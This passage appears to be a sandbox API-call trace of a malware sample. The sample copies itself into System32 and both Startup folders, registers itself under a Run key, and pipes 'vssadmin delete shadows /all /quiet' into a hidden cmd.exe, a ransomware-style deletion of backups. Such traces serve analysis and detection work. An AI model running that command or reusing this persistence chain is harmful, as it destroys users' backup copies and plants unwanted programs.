hModule=0x0, lpFilename=0x496388, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\WindowsSystem32file.pe32.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\windowssystem32file.pe32.exe")) returned 0x34 [0074.527] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4a6390 [0074.527] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4b6398 [0074.528] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0074.528] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484528, Size=0x20) returned 0x47f690 [0074.528] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f690, Size=0x40) returned 0x45a988 [0074.528] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45a988, Size=0x80) returned 0x4c7110 [0074.528] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c7110, Size=0x100) returned 0x484e88 [0074.528] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0074.528] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484e88 | out: hHeap=0x440000) returned 1 [0074.528] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\WindowsSystem32file.pe32.exe", lpDst=0x4a6390, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe") returned 0x31 [0074.528] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4b6398 | out: hHeap=0x440000) returned 1 [0074.529] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a6390 | out: hHeap=0x440000) returned 1 [0074.530] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x100000) returned 0x23b2020 [0074.533] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0074.533] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484528, Size=0x20) returned 0x47f730 [0074.533] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0074.533] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f690 [0074.533] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0074.533] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0074.533] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0074.533] lstrlenW (lpString="kernel32.dll") returned 12 [0074.533] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f730 | out: hHeap=0x440000) returned 1 [0074.533] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0074.533] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f690 | out: hHeap=0x440000) returned 1 [0074.533] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WindowsSystem32file.pe32.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0074.534] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe" (normalized: "c:\\windows\\system32\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0074.537] ReadFile (in: hFile=0x240, lpBuffer=0x23b2020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23b2020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0074.553] WriteFile (in: hFile=0x244, lpBuffer=0x23b2020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23b2020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0074.616] ReadFile (in: hFile=0x240, lpBuffer=0x23b2020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23b2020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0074.616] CloseHandle (hObject=0x244) returned 1 [0074.622] CloseHandle (hObject=0x240) returned 1 [0074.622] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4845a0 [0074.622] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4845a0, Size=0x20) returned 0x47f758 [0074.622] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4845a0 [0074.622] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4845a0, Size=0x20) returned 0x47f7d0 [0074.622] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0074.622] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0074.622] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0074.622] lstrlenW (lpString="kernel32.dll") returned 12 [0074.622] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f7d0 | out: hHeap=0x440000) returned 1 [0074.622] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0074.622] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f758 | out: hHeap=0x440000) returned 1 [0074.622] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x23b2020 | out: hHeap=0x440000) returned 1 [0074.628] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0074.628] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f730 [0074.628] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f730, Size=0x40) returned 0x45ace8 [0074.628] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45ace8, Size=0x80) returned 0x4c7220 [0074.628] lstrlenW (lpString="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe") returned 48 [0074.628] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0074.629] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x5c) returned 0x457d50 [0074.629] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0 [0074.629] RegSetValueExW (in: hKey=0x240, lpValueName="WindowsSystem32file.pe32.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe", cbData=0x60 | out: lpData="C:\\WINDOWS\\System32\\WindowsSystem32file.pe32.exe") returned 0x0 [0074.629] RegCloseKey (hKey=0x240) returned 0x0 [0074.629] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x457d50 | out: hHeap=0x440000) returned 1 [0074.629] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0074.629] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c7220 | out: hHeap=0x440000) returned 1 [0074.629] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4a6390 [0074.630] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4b6398 [0074.630] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4845a0 [0074.630] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4845a0, Size=0x20) returned 0x47f730 [0074.630] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f730, Size=0x40) returned 0x45af28 [0074.630] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45af28, Size=0x80) returned 0x4c6f78 [0074.630] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c6f78, Size=0x100) returned 0x484e88 [0074.630] lstrlenW (lpString="") returned 0 [0074.630] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0074.630] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8c) returned 0x484f90 [0074.630] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0 [0074.630] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x4b6398, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x4b6398*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2 [0074.630] RegCloseKey (hKey=0x240) returned 0x0 [0074.630] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484f90 | out: hHeap=0x440000) returned 1 [0074.631] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0074.631] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8c) returned 0x484f90 [0074.631] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0074.632] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x4b6398, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0 [0074.632] RegCloseKey (hKey=0x244) returned 0x0 [0074.632] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484f90 | out: hHeap=0x440000) returned 1 [0074.632] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0074.632] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0074.633] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484e88 | out: hHeap=0x440000) returned 1 [0074.633] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe", lpDst=0x4a6390, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe") returned 0x6b [0074.633] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4b6398 | out: hHeap=0x440000) returned 1 [0074.633] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a6390 | out: hHeap=0x440000) returned 1 [0074.634] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x100000) returned 0x23b5020 [0074.637] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0074.637] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f730 [0074.637] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0074.637] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f758 [0074.637] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0074.637] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0074.638] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0074.638] lstrlenW (lpString="kernel32.dll") returned 12 [0074.638] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f730 | out: hHeap=0x440000) returned 1 [0074.638] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0074.638] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f758 | out: hHeap=0x440000) returned 1 [0074.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WindowsSystem32file.pe32.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0074.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0074.821] ReadFile (in: hFile=0x244, lpBuffer=0x23b5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23b5020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0074.912] WriteFile (in: hFile=0x248, lpBuffer=0x23b5020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23b5020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0074.916] ReadFile (in: hFile=0x244, lpBuffer=0x23b5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23b5020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0074.916] CloseHandle (hObject=0x248) returned 1 [0075.023] CloseHandle (hObject=0x244) returned 1 [0075.024] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0075.024] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f690 [0075.024] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0075.024] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f618 [0075.024] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0075.024] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0075.024] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0075.025] lstrlenW (lpString="kernel32.dll") returned 12 [0075.025] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f618 | out: hHeap=0x440000) returned 1 [0075.025] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0075.025] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f690 | out: hHeap=0x440000) returned 1 [0075.025] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x23b5020 | out: hHeap=0x440000) returned 1 [0075.031] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4a6390 [0075.031] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4b6398 [0075.031] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0075.031] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f528 [0075.031] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f528, Size=0x40) returned 0x45ac58 [0075.031] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45ac58, Size=0x80) returned 0x4c65e8 [0075.031] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c65e8, Size=0x100) returned 0x484e88 [0075.031] lstrlenW (lpString="") returned 0 [0075.031] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0075.031] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x8c) returned 0x484f90 [0075.032] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0075.032] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x4b6398, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0075.032] RegCloseKey (hKey=0x244) returned 0x0 [0075.032] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484f90 | out: hHeap=0x440000) returned 1 [0075.032] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0075.032] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0075.032] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484e88 | out: hHeap=0x440000) returned 1 [0075.032] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe", lpDst=0x4a6390, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe") returned 0x5a [0075.032] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4b6398 | out: hHeap=0x440000) returned 1 [0075.032] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a6390 | out: hHeap=0x440000) returned 1 [0075.033] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x100000) returned 0x23bb020 [0075.036] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0075.036] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484528, Size=0x20) returned 0x47f618 [0075.036] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0075.036] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484528, Size=0x20) returned 0x47f7d0 [0075.037] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0075.037] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0075.037] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0075.037] lstrlenW (lpString="kernel32.dll") returned 12 [0075.037] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f618 | out: hHeap=0x440000) returned 1 [0075.037] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0075.037] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f7d0 | out: hHeap=0x440000) returned 1 [0075.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\WindowsSystem32file.pe32.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0075.037] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSystem32file.pe32.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\windowssystem32file.pe32.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0075.039] ReadFile (in: hFile=0x244, lpBuffer=0x23bb020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23bb020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0075.053] WriteFile (in: hFile=0x248, lpBuffer=0x23bb020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23bb020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0075.124] ReadFile (in: hFile=0x244, lpBuffer=0x23bb020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23bb020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0075.124] CloseHandle (hObject=0x248) returned 1 [0075.241] CloseHandle (hObject=0x244) returned 1 [0075.241] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0075.241] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484528, Size=0x20) returned 0x47f690 [0075.241] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0075.241] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f550 [0075.241] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0075.242] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0075.242] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0075.242] lstrlenW (lpString="kernel32.dll") returned 12 [0075.242] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f550 | out: hHeap=0x440000) returned 1 [0075.242] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0075.242] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f690 | out: hHeap=0x440000) returned 1 [0075.242] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x23bb020 | out: hHeap=0x440000) returned 1 [0075.248] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x486380 | out: hHeap=0x440000) returned 1 [0075.249] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x496388 | out: hHeap=0x440000) returned 1 [0075.250] lstrlenW (lpString="%windir%\\System32") returned 17 [0075.250] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45abc8 | out: hHeap=0x440000) returned 1 [0075.251] lstrlenW (lpString="%appdata%") returned 9 [0075.251] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f668 | out: hHeap=0x440000) returned 1 [0075.251] lstrlenW (lpString="%sh(Startup)%") returned 13 [0075.251] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f5f0 | out: hHeap=0x440000) returned 1 [0075.251] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0075.251] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ac10 | out: hHeap=0x440000) returned 1 [0075.251] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0075.251] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484528, Size=0x20) returned 0x47f730 [0075.251] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f730, Size=0x40) returned 0x45ace8 [0075.251] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45ace8, Size=0x80) returned 0x4c6ef0 [0075.251] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484528 [0075.251] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484528, Size=0x20) returned 0x47f550 [0075.251] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1fffc) returned 0x486380 [0075.252] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4a6388 [0075.252] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4b6390 [0075.252] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x484510 [0075.252] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x484510, Size=0x20) returned 0x47f690 [0075.252] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f690, Size=0x40) returned 0x45abc8 [0075.252] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45abc8, Size=0x80) returned 0x4c7088 [0075.252] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4c7088, Size=0x100) returned 0x484e88 [0075.252] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0075.252] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x484e88 | out: hHeap=0x440000) returned 1 [0075.252] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x4a6388, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0075.253] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4b6390 | out: hHeap=0x440000) returned 1 [0075.253] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4a6388 | out: hHeap=0x440000) returned 1 [0075.254] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0075.255] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0075.255] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0075.255] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0075.255] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x5cc, dwThreadId=0xb80)) returned 1 [0076.254] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0076.254] WriteFile (in: hFile=0x24c, lpBuffer=0x4c6ef0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x4c6ef0*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0076.254] CloseHandle (hObject=0x25c) returned 1 [0076.255] CloseHandle (hObject=0x258) returned 1 [0076.255] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x486380 | out: hHeap=0x440000) returned 1 [0076.255] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0076.255] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4c6ef0 | out: hHeap=0x440000) returned 1 [0076.255] lstrlenW (lpString="%comspec%") returned 9 [0076.255] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f550 | out: hHeap=0x440000) returned 1 [0076.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0076.256] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xc) returned 0x484510 [0076.256] CreateThread (in: 